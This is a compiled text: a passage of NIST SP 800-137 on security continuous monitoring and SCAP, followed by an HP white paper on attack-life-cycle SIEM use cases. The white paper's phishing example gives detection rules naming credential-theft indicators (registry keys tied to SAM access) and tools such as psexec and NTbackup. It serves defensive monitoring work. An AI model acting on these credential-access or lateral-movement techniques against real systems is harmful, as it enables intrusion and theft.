PM -6, Information Security Measures of Performance; PM -9, Risk Management Strategy; RA -3, Risk Assessment; and SI -4, Information System Monitoring. D.3 AUTOMATION AND REFERENCE DATA SOURCES Managing the security of systems throughout an organization is challenging for several reasons. Most organizations have many systems to patch and configure securely, with numerous pieces of software (operating systems and applications) to be secured on each system. Organizations need to conduct continuous monitoring of the security configuration of each system and be able to determine the security posture of systems and the organization at any given time. Organizations Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-12 may also need to demonstrate compliance with security requirements expressed in legislation, regulation, and policy. All of these tasks are extremely time- consuming and error -prone because there has been no standardized, automated way of performing them. Another problem for organizations is the lack of interoperability across security tools; for exampl e, the use of proprietary names for vulnerabilities or platforms creates inconsistencies in reports from multiple tools, which can cause delays in security assessment, decision making, and vulnerability remediation. Organizations need standardized, automated approaches to overcoming these challenges . Automation is an efficient way to enable ISCM within and across domains to capture, correlate, analyze, and report the overall security status of the organization. Automation specifications and standardized for mats enable the interoperability and flow of data between these domains. Just about every security tool provides some sort of automated capability as part of its functionality, including importing and exporting data and performing other pre -configured, una ssisted operations. Some of these automated capabilities rely on proprietary methods and protocols, while others use standardized specifications and methods. When using a tool that automatically configures devices or changes settings, the new configurations are first tested in a test environment. Some examples of security automation activities include: • Scanning for vulnerabilities and automatically applying the appropriate patches; • Automatically enabling security configurations based on a checklist of security settings; • Scanning for compliance against a pre -configured checklist of security settings; and • Collecting security metrics from tools and reporting them to a management console in a standardized format. These are just a few of the many security activities that can be automated. The tools and technologies discussed in this publication leverage a variety of supporting protocols, specifications, and resources to provide the standardization and interoperability necessary to enable ISCM. The automation specification movement is a community- driven effort to standardize the format and nomenclature for communicating security and IT related information. These data exchange standards create the foundation for automating activities across disparate vendor tool se ts, as well as interoperability across domain boundaries. The most mature and widely used set of specifications is the Security Content Automation Protocol (SCAP), which is used to standardize the communication of software flaws and security configurations. This section discusses how SCAP, the National Vulnerability Database (NVD) , and security configuration checklists are used to represent and communicate data in a standardized format for performing security automation capabilities and their roles in supporting a n ISCM program. D.3.1 SECURITY CONTENT AUT OMATION PROTOCOL (SCAP ) SCAP is a suite of specifications50 50 For more information, p lease refer to NIST DRAFT SP 800-126, as amended, The Technical Specification for the Security Content Automation Protocol (SCAP): SCAP Version 1.1. that standardizes the format and nomenclature by which security software products communicate security flaw and security configuration information. SCAP is a multipurpose protocol that supports automated vulnerability and patch checking, Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-13 security control compliance activities, and security measurement. Goals for the development of SCAP include standardizing system security management, promoting interoperability of security products, and fostering the use of standard expressions of security content. SCAP can be used for maintaining the security of organizational systems, such as automatically verifying the installation of patches, checking system security configuration settings, and examining systems for signs of compromise. What Can Be Automated With SCAP There are many readily available tools that can be used t o automate ISCM activities using SCAP. The SCAP Product Validation Program51 The SCAP validation program validates two types of vulnerability and patch scanners: authenticated and unauthenticated. Authenticated vulnerability and patch scanners provide t he capability to scan a target system using target system logon privileges, to locate and identify the presence of known vulne rabilities, and evaluate the software patch status to determine the ongoing security status of the system based on an organization’s defined patch policy. Unauthenticated vulnerability scanners provide the capability to determine the presence of known vulnerabilities by evaluating the target system over the network without authenticated access. SCAP-enabled vulnerability scanners can be configured to scan connected systems at regular intervals, thus providing a quantitative and repeatable measurement and scoring of software flaws across systems. The use of SCAP -validated vulnerability scanners enables interoperability among vulnerability scanners and reporting tools to provide consistent detection and reporting of these flaws and supports comprehensive remed iation capabilities. is designed to test the ability of products to use the features and functionality available through SCAP and its component standards. While patching and vulnerability monitoring and remediation can often appear an overwhelming task, consistent mitigation of system software vulnerabilities can be achieved through a tested and integrated patching process. A mature patch and vulnerability management program that embraces security automation technologies will help the organization to be more proactive than reactive with regard to maintaining appropriate levels of security for their systems. Vulnerability assessment and patch management technologies focus primarily on testing for the presence of known vulnerabilities in common operating systems and applications. For custom software and applications and in discovering unknown, unreported or unintentional vulnerabilities in commercial off -the-shelf (COTS) products, vulnerability assessment and analysis may require the use of additional, more specialized techniques and approaches, such as Web- based application scanners, source code reviews, and source code analyzers. These to ols, coupled with security control assessment methodologies such as red team exercises and penetration testing, provide additional means for vulnerability identification. The SCAP Validation Program evaluates the capabilities of configuration scanners that can audit and assess a target system to determine its compliance with a defined secure baseline configuration. Examples of secure baseline configurations include the Federal Desktop Core 51 For more information on the SCAP Validation Program, please refer to http://scap.nist.gov/validation/ . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-14 Configuration (FDCC)52 and profiles created under the United States Government Configuration Baseline (USGCB)53 How to Implement SCAP initiative. To implement SCAP for ISCM, SCAP-validated54 To automate continuous monitoring of known software vulnerabilities, SCAP -expressed checklists and SCAP -validated tools can be used to assess the software assets installed and derive a mitigation strategy for known vulnerabilities based on risk severity. By performing regularly scheduled scans of the enterprise architecture with the latest available SCAP -expressed security - related information, a security officer and/or system administrator can attain on-demand situational awareness of the security of their networked systems in terms of configuration settings and mitigation of known software vulnerabilities. tools and SCAP -expressed checklists are used to automate secure configuration management and produce assessment evidence for many NIST SP 800-53 security controls. SCAP -expressed checklists can be customized as appropriate to meet specific organizational requirements. SCAP -expressed checklists can also map individual system security configuration settings to their corresponding security requirements. For example, mappings are available between Windows XP secure baseline configurations and the security controls in NIST SP 800 -53. These mappings can help demonstrate that the implemented settings provide adequate security and adhere to requirements. The mappings are embedded in SCAP - expressed checklists which allow SCAP -validated tools to generate assessment and compliance evidence automatically. This can provide a substantial savings in effort and cost of configuration management. If SCAP -validated tools are not available or are not currently deployed within an organization, organizations should consider implementing SCAP -expressed checklists for their secure baseline configurations in order to be well -positioned when SCAP -validated tools become available and/or are deployed. Partially Automated Controls The implementation, assessment , and monitoring of some security controls may not be automated by existing tools; however , they may be partially automated using the Open Checklist Interactive Language (OCIL). OCIL defines a framework for expressing a set of questions to be presented to a user and corresponding procedures to interpret responses to these questions. OCIL may be used in conjunction with other SCAP specifications such as eXtensible Configuration Chec klist Description Format (XCCDF) to help handle cases where lower -level checking languages such as Open Vulnerability and Assessment Language (OVAL) are unable to automate a particular check. OCIL provides a standardized approach to express and evaluate ma nual security checks. For example, a system user may be asked, “Do you have a safe to store documents?” The OCIL specification provides the ability to define questions, define possible answers to a question from which the user can choose, define actions to be taken resulting from a user’s answer, and enumerate the result set. One of the benefits of OCIL is that the answers can be returned in a standardized format, allowing statistical analysis and other calculations to be performed in an automated manner. 52 For more information on the FDCC, please refer to http://fdcc.nist.gov . 53 For more information on the USGCB, please refer to http://usgcb.nist.gov . 54 For more information on SCAP -validated products , please refer to http://nvd.nist.gov/scapproducts.cfm . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-15 D.3.2 REFERENCE DATA SOURCES NIST provides the two data repositories, the NVD and security configuration checklists, to support both automated and manual ISCM efforts. National Vulnerability Database (NVD) The NVD is the U.S. government repository of sta ndards-based vulnerability management data represented using the SCAP specifications. This data enables automation of vulnerability management, security measurement, and compliance. The NVD includes security checklists, security-related software flaws, misconfigurations, product names, and impact metrics. The content in the NVD is dynamic; for example, vulnerabilities are updated with new information such as patch content, checklists are updated, and new checklists are added. As information becomes availabl e in the NVD, systems are rescanned to reassess risk and mitigate any new vulnerabilities. To facilitate a standardized distribution of the data, vulnerability content in the form of XML data feeds is available and updated at two- hour intervals. Organizations can leverage this standardized data for ISCM automation by configuring scheduled scans of systems and evaluating changes that may have occurred and any associated security risks from the changes. Security Configuration Checklists The Cyber Security Research and Development Act of 2002 55 tasked NIST to “develop, and revise as necessary, a checklist setting forth settings and option selections that minimize the security risks associated with each computer hardware or software system that is, or is likely t o become widely used within the Federal Government.” The National Checklist Program (NCP) 56 A security configuration checklist, sometimes referred to as a lockdown guide, hardening guide, or benchmark configuration, is essentially a document that contains instructions or proc edures for configuring an information technology (IT) product to a baseline level of security. Checklists can be developed not only by IT vendors, but also by consortia, academia, and industry, federal agencies and other governmental organizations, and others in the public and private sectors. is the U.S. government repository of publicly available security checklists. The use of such checklists within the context of an overarching information security program can markedly reduce the vulnerability exposure of an organization. The NCP provides checklists both in prose format and in SCAP -expressed format. The SCAP - expressed checklists allow SCAP -validated tools to process the checklists and scan systems automatically. A subset of checklists also provides embedded Common Configuration Enumerations (CCEs) mapped to the NIST SP 800 -53 security controls that allow for checklist results to be returned in the context of NIST SP 800 -53 control requirements. A checklist might include any of the following: • Configuration files that automatically set various security settings (e.g., executables, security templates that modify settings, scripts); 55 The Cyber Security Research and Development Act of 2002 is available at http://csrc.nist.gov/drivers/documents/HR3394 -final.pdf. 56 For more information on the NCP, see http://web.nvd.nist.gov/view/ncp/repository . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-16 • Documentation (e.g., text file) that guides the checklist user to manually configure software; • Documents that explain the recommended methods to securely install and configure a device; and • Policy documents that set forth guidelines for such activities as auditing, aut hentication security (e.g., passwords), and perimeter security. Not all instructions in a security configuration checklist are for security settings. Checklists can also include administrative practices for an IT product that go hand in hand with improvements to the product's security. Often, successful attacks on systems are the direct result of poor administrative practices such as not changing default passwords or failure to apply new patches. A checklist comparison can also be performed as part of auditing and continuous monitoring of deployed systems’ security, to ensure that the baseline configurations are maintained. It is not normally sufficient to configure a computer once and assume that the settings will be maintained; settings may change as sof tware is installed, upgraded, and patched, or as computers are connected and disconnected from domains. Users might also alter security settings, such as in the case of a user who feels that a locking screen saver is inconvenient and hence turns the feature off. D.4 REFERENCE MODEL Organizations can use the technologies, specifications, and reference data sources discussed in Appendix D in an integrated manner to architect an ISCM technical implementation that maximizes the use of security -related information and promotes consistency in the planning and implementation of ISCM. Where possible, this ISCM technical implementation automates the collection, aggregation and analysis, and reporting and presentation of data that is necessary to support orga nization-defined metrics. However, organizations face significant challenges in integrating these technologies to enable ISCM. Organizations typically use a diverse set of security products from multiple vendors. Thus it is necessary to extract security -related information (ideally in the form of raw system state data) from these tools and to normalize that data so that it is comparable (at tier 3 level and at tiers 2 and 1). A tier 3 capability is created to enable querying and reporting on the data aggrega ted from mul tiple tools covering multiple ISCM security automation domains. Since there are often many local tier 3 repositories covering different parts of a large enterprise, the tier 3 ISCM repositories regularly report data to tier 2 repositories, likely following a hierarchical architecture. The tier 2 repositories in turn report data to tier 1 repositories that may report data to even higher level users. As this data is passed up the ISCM hierarchy, it is abstracted since it is not usually possible or advisable to replicate all low level security -related information at all tiers in the hierarchy. Higher tier users query the lower level tiers to retrieve data. One challenge is the need for a technical mechanism to allow a higher tier query to be passed to lower tier ISCM instances for fulfillment. Another challenge is that in conducting query fulfillment, the lower tier ISCM instances may need to perform analysis of raw data to generate the results. These results may be findings (comparison of raw data against policy) or scores (numerical evaluation of a set of findings) and so a mechanism in the query by which to convey the desired analysis that is to be performed is needed. Ideally, if the requested data is not available at tier 3, then the tier 3 ISCM instance tasks its diverse security tools to collect the requested data. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-17 These challenges can be met through the use of a reference model that describes the types of tools needed, their relationships, and their required roles in fulfilling ISCM functionality. The model either leverages or provides interface specifications that enable integration of these tools in order for an organization to compose an ISCM technical implementation. The model also provides specifications for each tool type so that the tools perform their roles appropriately in implementing organization wide ISCM. One example of an ISCM reference model that promotes this consistent integration is the CAESARS Framework Extension, described in NIST Interagency Report (NISTIR) 7756 , CAESARS Framework Extension : An Enterprise Continuous Monitoring Technical Reference Architecture (Draft) . NISTIR 7756 provides a foundation for a continuous monitoring reference model that aims to enable organizations to aggregate collected data from across a diverse set of security tools, analyze that data, perform scoring, enable user queries, and provide overall situational awareness. The model is based on a set of high level workflow that describe necessary data movement within an ISCM technical implementation . These workflow are realized through t he model’s subsystem specifications (i.e., requirements for types of tools) and interface specifications for tool communication. One ability to leverage the model is dependent in part on the available infrastructure a nd the maturity of the organization’s measurement program. 57 In the model, d ata is collected (for predefined metrics or in response to a user query) to include those related to security control implementation and effectiveness. The types of d ata sources include people, processes, technologies, and the computing environment, (including security control assessment results). A variety of methods, both automated and manual, can be used to collect data. Organizations consider utilizing standards -based methods within tools for performing data collection to reduce integration cost s, to enable interoperability of diverse tools and technologies, and to enable data to be collected once and reused many times. Data generated by humans can be collected using mechanisms that use automation and that leverage standardized methods. Collection methodologies are standardized and automated where possible to enable intra- and inter-tier information exchange, correlation and analysis. The functional capabilities of an architecture implemented to support ISCM include data collection, storage, querying, analysis, retrieval , propagation to higher tiers, and presentation. Collected d ata is tagged with metadata when stored in ways that maximize reuse of collected data. Data is normaliz ed for purposes of aggregation, correlation, and consistent use in metrics. Care is taken to store data that has been normalized or otherwise processed with its relevant attributes so as to minimize the possibility of contamination of one metric by cleansi ng algorithms used in support of another. The model enables an ISCM infrastructure that has retrieval, analysis, and presentation capabilities sufficient to support reporting and risk -based decision making at all tiers. Metrics are calculated in accordan ce with the ISCM strategy and the established program. All security- related information is presented to those with ISCM roles and responsibilities as well as other stakeholders including consumers of monitoring information who use it to control operations within organizational risk tolerances in accordance with ISCM strategy (e.g., individuals 57 See NIST SP 800 -55, as amended, for more information on measurement programs . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations APPENDIX D PAGE D-18 responsible for patch management, security control assessment, security awareness and training). Data presentation is flexible enough to satisfy diverse data display needs across all tiers . Figure D-2 provides a high- level view of an ISCM implementation that depicts a sample flow of security-related information from source data collection, through aggregation and analysis, to reporting of data to users at all tiers. The ISCM data needs of users vary by tier. For example, system administrators at Tier 3 may be interested in technical details to support system -level actions (e.g. configuration changes), whereas management officials at Tier 1 may be more interested in aggr egated data to enable organization- wide decision making (e.g. changes in security policies, an increase in resources for security awareness programs, or modifications to the security architecture). Careful design of ISCM capabilities provides each user wit h the data content in the format they need and with the frequency of data collection they require to make effective decisions. More detailed information on ISCM reference models is available in NIST Interagency Report 7756. Figure D -2. Sample ISCM Implementation --- ## Source: https://montance.com/questions.php?id=89 [![pdf](content/images/icons/pdf.svg) NIST - SP800-137-Final.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgQ09CbG5WelAtQ2s/view?usp=sharing) NIST Sp800 137 Final Resource covering Monitoring titled 'NIST Sp800 137 Final'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgTjVRNFFQVXRZYjg/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgTjVRNFFQVXRZYjg/view?usp=sharing]** Technical white paper HP Attack Life Cycle use case methodology HP Enterprise Security Products Global Services Table of contents Introduction ................................................................................................ ............................................................................ 2 Attack Life Cycle ................................................................................................ .................................................................... 2 Attack Life Cycle Use Cases ................................................................................................ ............................................. 2 Example 1: HP Attack Life Cycle Phishing Use Case ................................................................................................ ......... 5 Example 2: HP Attack Life Cycle Reusable Use Cases ................................................................................................ ...... 8 Summary Benefits of a attack life cycle ................................................................................................ .......................... 10 Click here to verify the latest version of this document Technical white paper | HP Attack Life Cycle use case methodology 2 Introduction The purpose of this document is to introduce the concept of an Attack Life Cycle methodology, show how HP Attack Life Cycle methodology can be applied for the authoring of use cases and showcase the benefits of using an attack life cycle methodology over standalone use cases. This is considered to be advanced content in use case authoring and readers are ex pected to understand ArcSight ESM use case capabilities as well as general security product capabilities. The rules referring to Windows tools and registry are synonymous with configurable Malware and Virus forensic events. Attack Life Cycle Attack Life Cycle Use Cases The phrase “attack life cycle ” describes the structure of the intrusion, and the corresponding model, which guides analysis to inform actionable security intelligence. The attack life cycle is a useful way to group disparate security “event s” into a context that centers on the attacker and/or the attack. Rather than trying to look at network security events in isolation they should be combined with host based security events. Data sets should be integrated and correlated by grouping them according to attack vectors, attack payload delivery profiles and intrusion compromise behaviors . Using this method provides analytic enhancements to find events that would otherwise be ignored, known as a false negative; but also find the noise produced by p oint solutions, known as a false positive. The different data sets can be combined or chained to reduce false negatives. False positives can be reduced by processing more events through the SIEM aimed at the different pieces of the attack life cycle . This allows the SIEM operations staff to attain better situational awareness through post correlation to define further compromise, such as command and control and data exfiltration events, and chain them. Industry discussion and analysis of many recent high pr ofile cyber -attacks such as the RSA and Sony breaches—indicate that these attacks each followed a distinct, multi -stage approach to penetrating the organization’s network, targeting sensitive data and successfully stealing it. There has been a tremendous f ocus on stopping an initial breach, but little focus on following a staged approach to compromise. Attack life cycle attack phases Let us assume the attacker breaches the perimeter, establishing a beachhead inside the network. Then, the attacker establish es a backdoor connection to a command and control server to download toolkits and additional payloads from an external site, but this is only the initial breach. Once the breach has occurred, the attacker begins to move laterally around the network taking inventory of the resources and looking for opportunities to collect additional credentials, or escalate the privileges they already have, to gain access to the organization's data. Finally, the attacker can collect and eventually exfiltrate the data. Many security organizations using SIEM technology write use cases in a standalone manner. They typically make use of single individual use cases as indicators of compromise. This results in incident alerts that may be considered a premature event and manual human analytics is needed to further review events to validate them as indicators of compromise. An attack life cycle approach allows use cases to be written to group events and provide post correlation to further reduce the manual analytics effort. HP has c reated a methodology around the event attack life cycle to better position the ArcSight SIEM capabilities for use case development. The diagram below depicts three attack life cycle methods: The Lockheed Martin Cyber Kill Chain, The Malware Forensics Kill Chain Method, and the HP Attack Life Cycle which is used to describe security events in the context stages for security intelli gence and use case development. HP also uses the attack life cycle to help understand risk in a particular area of the attack life cycle . Technical white paper | HP Attack Life Cycle use case methodology 3 Note The below section describes each phase of the methodology starting with Lockheed Martin's reconnaissance explanation, then the Malware Forensics kill chain reconnaissance external to inbound scan phase, and then the HP Attack Life Cycle reconnaissance or anomaly communications phase . Then it will go back to Lockheed Martin's next phase. This is to help the reader understand the differences between methodologies. Reconnaissance —As described by Lockheed Martin, this stage is the research, identification and selection of targets, often represented as crawling Internet websites such as conference proceedings and mailing lists for email addresses, social relationships, or information on specific technologies. This is typically known as non- intrusive intelligence gathering. Reconnaissance external to inbound scan —As described by the SANS Institute, this stage involves the active reconnaissance of a target network by inbound scanning events. The Malware forensics procedures assume that a detectable reconnaissance scan can be detected as an event. Reconnaissance or anomaly communication from an external source to target host(s) As described by HP Attack Life Cycle , this stage involves the initial communications from an external source to a target host or hosts which are considered attack vectors. In the context of SIEM, tooling a perimeter event is not necessarily specific to the external Internet network perimeter . An external source could be an insider source to a secure internal network or host. Anomaly communication is used to describe the various communication techniques that are used to reconnaissance a network, such as: i. Very slow scanning that wouldn't create discernible scanning events in firewalls or intrusion prevention systems indicating that a scan has taken place. ii. Communication traffic that is known to be from bad or blacklisted source host addresses. iii. Communication traffic that is outside of normal profiled (white listed) or network / asset model communication trends which is considered an anomaly. iv. Communication traffic that is from an unusual geo location source. Weaponization —Coupling a remote access trojan with an exploit into a de liverable payload, typically by means of an automated tool (weaponizer). Client application data files, such as Adobe Portable Document Format (PDF) or Microsoft Office documents are increasingly being used to serve as the weaponized deliverable. It should be noted that the HP Attack Life Cycle use cases largely ignore weaponization as a practical part of the HP Attack Life Cycle as it is largely dependent on third party products and understanding known malicious binaries which is covered in the later aspec ts of the life cycle Technical white paper | HP Attack Life Cycle use case methodology 4 Delivery —As described by Lockheed Martin, this stage is the transmission of the weapon to the target environment. The three most prevalent recorded delivery vectors for attack payloads are: email attachments, websites hosting malicious content, and USB removable media. Attack Delivery—The HP Attack Life Cycle takes into account events and use cases to review events of interest for delivery of potential payload (ex. spear phishing email). Exploited weaknesses in browsers or other 3rd par ty applications can lead to a high false positive event rate. HP use cases take this information into account as a filtered watch list to correlate with other events. Exploitation —After the weapon is delivered to a victim’s host, exploitation triggers the intruders’ code. Most often, exploitation targets an application or operating system vulnerability, but it could also more simply exploit the users themselves or leverage an operating system feature that auto -executes code. Installation of a remote access trojan or backdoor on the victim system allows the adversary to maintain persistence inside the environment. External to Internal inbound Exploit—As described by SANS Institute Malware forensics, this stage of the attack life cycle describes the detection of an inbound exploitation event from an external to an internal host. The delivery mechanism looks for events for: i. Direct exploitation of the host through an open service port. ii. Malicious email attachments. iii. Infected P2P media. iv. Drive -by-download infections for malicious websites. Host Exploitation —The HP Attack Life Cycle takes into account both the Lockheed Martin and SANS Institute methodologies, however host exploitation described through SIEM use cases should account for even ts from: i. Third party vendor product events such as Intrusion Prevention Systems, Antivirus, and Antimalware. ii. Events that are potentially overlooked or less obvious changes made to an operating system such as new processes being started and others being stopped. iii. External to inbound communications traffic. iv. Correlated vulnerability information. v. Correlated network and asset model information. Installation —Installation of a remote access trojan or backdoor on the victim system allows the adversary to maintain persistence inside the environment. Internal to External Binary Acquisition —In the case of Malware forensics, the next stage in the attack life cycle methodology is to communicate to the source of the attack and download a binary payload to in stall on the compromised host. In the case of some well -known exploits, traffic can be viewed leaving the compromised hos ts towards an external source. This is typically on a Windows DCE or RPC port such as TCP 135 in order to gain shell access to th e compromised host. Binary Installation —As described in the HP Attack Life Cycle , this stage involves the detection of events released to known attack payload delivery profiles. For example, on a Windows machine there are malicious binaries that are not de tected by point solutions such as antivirus or anti -malware software. The analytics of attack payload delivery profiles need to be examined such as the addition of registry settings or the increase in the number of Windows processes, protection software (antivirus) services being terminated, and other heuristic events such as memory usage and operating system firewall outbound sockets. C2—Typically, compromised hosts must beacon outbound to an Internet controller server to establish a C2 channel. APT malwar e especially requires manual interaction rather than conducting activity automatically. Once the C2 channel has been established, the intruders have “hands on the keyboard” access inside the target environment. Internal to External C&C Communication —The next step in the Malware forensics kill chain for the newly infected machine is to establish a listen port to accept new binary updates or command and begin scanning other external victims on behalf of the botnet for lateral movement. Command and Control —This step is very similar in the HP Attack Life Cycle , Lockheed Martin and SANS malware forensic methods. Use cases are produced to correlate source to destination communications to recognize command and control (C2) transa ctions back out to the network. This strategy focuses on identifying the web sites and IP addresses that attackers use to communicate with malicious code already infiltrated onto our computers. This is known as blacklisting. While some of these sites are legitimate and have been compromised, the majority are new domains registered by attackers solely for the purpose of command and control. Targeted attacks from advanced persistent threats are unlikely to exist in publicly available blacklists. For this situation, HP recommends making use of white lists and asset model based use cases to address exfiltration in the attack life cycle . Technical white paper | HP Attack Life Cycle use case methodology 5 Actions on Objectives—This stage of the Lockheed Martin methodology describes actions and objectives an attacker may take after progressing through the first s ix phases. Typically, the objective is data exfiltration which involves collecting, encrypting and extracting informatio n from the victim environment. Violations of data integrity or availability are potential objectives as well. Alternatively, the intrude r may only want access to the initial victim box for use as a hop point to additional compromised systems to move laterally inside the network. Internal to Internal and or External Outbound infection scanning —This step in the Malware forensics kill chain describes when the infected host begins interacting as part of a larger botnet and begins scanning other external victims on behalf of the botnet to spread infection. Local Compromise —This step in the HP Attack Life Cycle is to revi ew events of local compromise. This is considered different to both the attack life cycle phase of binary installation and the later phase of persistence as the use cases in this area are specifically focused around the creation of local accounts, privilege escalation, compromise of existing local accounts, changes made to group policies, permission changes for file and folder access, and the use of common command line tools in Windows and Unix. Internal Recon —HP Attack Life Cycle describes this step as a compromised host profiling the network for other vulnerable targets or to establish the location of the target data or interest of the attacker. Typical use cases in this phase are the use of command line tools such as netstat, looking for communications between the compromised hos t and other hosts such as beaconing. Lateral Movement— HP Attack Life Cycle describes this step as the movement from the compromised host to other hosts. Use cases in this area look for such events like netlogin, remote registry, remote WMI communications, remote group policy editor and remote session communications such as file share access, RDP, SSH, HTTPS. Establish Persistence —The HP Attack Life Cycle describes this phase as actions taken by the attacker to establi sh a foothold in the network. Often, if an attacker has compromised this much of the environment without being detected then they are going to invest in staying within the environment. Use cases look for events of less obvious command and control communication from internal to exte rnal hosts. Fo r example: newly spawned communication services between internal hosts, such as HTTPS, between servers that should not provide this service; common unknown processes being found on multiple hosts; and new binaries being added to the compromised host. Stage and Exfiltration —The HP Attack Life Cycle describes this step as an attacker taking active steps to steal and exfiltrate data. Use cases would look for the access, movement and central storage of sensitive data. Often attackers will encrypt the stolen con tent locally before exfiltration. Exfiltration specific use cases should look for communication spikes in the network that are anomalous to the everyday use of the compromised host. Example 1: HP Attack Life Cycle Phishing Use Case The purpose of use cases used in the attack life cycle are related to the event filterin g and cross- event correlation. This allows for reduction of false positive triggered events from a point solution and event reviews with context that would otherwise be ignored by automate rul es. An example HP Attack Life Cycle use case can look like the following. Threat / Business Risk: Phishing attacks . Summary of Risk: The business has noted an increase in malicious emails that are targeted at specific business users. The emails often contain harmful email attachments or malicious Internet URLs. Technical white paper | HP Attack Life Cycle use case methodology 6 Events are often seen by various point solu tions in a non- consistent way. For example, desktop antivirus software quarantines attachments in isolation of the email gateway which finds and blocks email attachments prior to being delivered to the desktop. During further analysis, it is thought that there are potential unknown viruses or malware within the business network going undetected. Use Case Example Attack life cycle Stages : Reconnaissance or anomaly communications from an external source to target host(s). Define rules to short list (shortlist 1) when an email attachment travels through the email gateway where the attachment contains a potentially harmful file type and where the sender email address is not a trusted email source (from a list) or internal company IP address. Email attachments include potentially harmful files such as Microsoft Excel, Microsoft Document, JPEG images, PDF documents, M4A files, M4P file, MP3 audio file, Movie fil e. Add email recipient machines source IP address of the event to shortlist 1. Attack life cycle Stages : Attack Delivery. Define rules to capture events when an email attachment has been opened that is potentially harmful, but are accepted file types used for everyday business use: Microsoft Excel, Microsoft Document, JPEG images, PDF documents, M4A files, M4P file, MP3 audio file, Movie file. Add source IP address of the event to shortlist 1. Attack life cycle Stages : Host Exploitation and Binary Installat ion. Define rules to escalate all antivirus and anti - malware software events where the events would be raised as incident alerts and the source IP address would be added to the compromised host active list. Define a second high -level rule that cross correlates to determine if the host source IP addre ss is also found on shortlist 1. If so, this will trigger an incident alert and the source IP address of the host will also be added to the compromised host active l ist. Other specific rules, not relying o n antivirus or anti -malware events include: i. Rule 1 : A registry change has occurred in one of the registry start locations such as \ Runonce. ii. Rule 2: If new unknown process has been spawned. For rules 1 and 2 add the source IP address to shortlist 1. Attack life cycle Stage : Command and Control. Define rules for the context of both this threat and the busin ess risk and general use case. Does a source IP address communicate with known (black listed) malicious command and control servers? Raise the resul ts of this rule as an incident alert and add the IP address to the compromised active list. Attack life cycle Stage : Local Compromise. Define rules that look for events from local operating system logs where: i. Rule 1 : Creation of local accounts. ii. Rule 2: Creation of escalation of privileges. iii. Rule 3 : Group policy changes. iv. Rule 4 : If Antivirus or Antimalware software processes have been terminated. v. For rule 1 to 4: Add source IP address to short list (shortlist 2) vi. Correlation rule if an IP address exists on shortlist 2 more than once raise and incident alert. Attack life cycle Stage : Internal Recon. Define a rule to look for network communications anomalies for a source IP address that has been added to our shortlist 1 or shortlist 2. Network communication anomalies include deviations from known white list profiles. For example: i. Rule 1 : Peer to peer communications. ii. Rule 2 : HTTPS communications between desktop servers where HTTPS doesn’t exist as a service on o ur desktop environment. iii. Rule 3 : Beaconing of desktop network communications trying to find a way of routing to the Internet this would show as firewall drop events. iv. Rule 4 : Multiple communications where the source network zone is desktop and the d estination network zone is desktop. v. Correlate rules 1 -4 where the source also exists on either shortlist 1 or shortlist 2 and if it does raise this as an incident and add the IP to the compromised host asset list. Technical white paper | HP Attack Life Cycle use case methodology 7 Attack life cycle Stage : Lateral Movement. This stage is in the attack life cycle is closely related to internal recon but rules go a step further identifying event transactions between devices rather than simply communications. We can define several rules for this stage such as: i. Rule 1 : Windows program audit events where netstat has been used add source IP to shortlist 2. ii. Rule 2 : Windows net logon event add source IP address to shortlist 2. iii. Rule 3 : Windows remote registry event add address source IP address to shortli st 2. iv. Rule 4 : Windows remote WMI event add address source IP to shortlist 2. v. Rule 5 : Windows remote policy editor event add address source to shortlist 2. vi. Rule 6 : Windows program audit event where psexec has been used add source IP to shortlist 2. vii. Correlation rules 1 : where a single source IP address appears on shortlist 2 more than once raise this as an incident alert and add compromised host asset list. viii. Correlation rule 2 : If rules 1 —6 correlate with an IP address on shortlist 1 rais e as an incident alert and compromised host asset list. Attack life cycle Stage : Establish Persistence. Establish Persistence. This stage in the attack life cycle is closely related to local compromise. In this phase we would be looking for further communi cation anomalies and changes to the local host which can be illustrated by the following rules: i. Rule 1 : Windows policy event changes make to file and folder access. ii. Rule 2 : Internal to Internal communications between hosts in the same network zone on unknown communications channels for example a desktop communicating to another desktop using HTTPS. iii. Rule 3 : large download of data from an external host that is not commonl y visited or first time visited a. 3.1: Netflow event anomies as a trend for deviations b. Correlate 3.1 with a query to a proxy server looking for low talking website visits. For any correlation event found in rules 1 -3, add the source IP address to shortlist 2. Where a single source IP address exists in shortlist 2, raise this as an incident alert and add to the compromised host asset list. Attack life cycle Stage : Stage and Exfiltration. At this stage of the attack life cycle an attacker would be looking to consolidate stolen data and e xfiltrate it from the network. Rules for exfiltration would be: i. Rule 1 : Windows program audit event where NTbackup has been used add source IP to shortlist 2. ii. Rule 2 : Windows events for registry access to the following registry locations as this indicates the Windows SAM file has been accessed. Raise an incident alert and add to shortlist 2 HKEY_LOCAL_MACHINE \System \CurrentControlSet \Control \Lsa\JD HKEY_LOCAL_MACHINE \System \CurrentControlSet \Control \Lsa\Skew1 HKEY_LOCAL_M ACHINE \System \CurrentControlSet \Control \Lsa\Data HKEY_LOCAL_MACHINE \System \CurrentControlSet \Control \Lsa\GBG. iii. Rule 3 : Windows event for file movement across network shares a. 3.1: Correlate where movement from network shares events have occurred as well as folder permissions change events from the same host. Add to shortlist 2. iv. Rule 4 : Netfl ow anomalies over a trended period of time where the destination address is in a unusual GEO location add source IP address to shortlist 1. v. Rule 5 : Correlate access event to hosts that store sensitive information and correlate this with email sending events to unknown email (white listed) recipients. Add to shortlist 1 a. Correlate multiple email sending events where attachment are being sent to a single unknown email in the same day and the for a total data size of > 100mb Add to shortlist 1. The diagram below depicts all of the uses cases from the phishing attack example in the HP Attack Life Cycle phases. 